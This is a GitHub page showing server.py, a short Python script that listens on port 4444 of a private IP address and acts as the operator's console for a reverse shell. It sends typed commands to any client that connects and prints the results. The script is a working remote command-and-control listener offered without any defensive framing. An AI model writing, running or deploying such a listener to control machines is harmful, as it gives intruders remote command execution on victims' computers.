-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
36 lines (25 loc) · 743 Bytes
/
server.py
File metadata and controls
36 lines (25 loc) · 743 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import socket
SERVER = "192.168.1.221"
PORT = 4444
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER, PORT))
s.listen(1)
while True:
print(f'[*] listening as {SERVER}:{PORT}')
client = s.accept()
print(f'[+] client connected {client[1]}')
client[0].send('connected'.encode())
while True:
cmd = input('>>> ')
client[0].send(cmd.encode())
if cmd.lower() in ['q', 'quit', 'x', 'exit']:
break
result = client[0].recv(1024).decode()
print(result)
client[0].close()
cmd = input('Wait for new client y/n ') or 'y'
if cmd.lower() in ['n', 'no']:
break
s.close()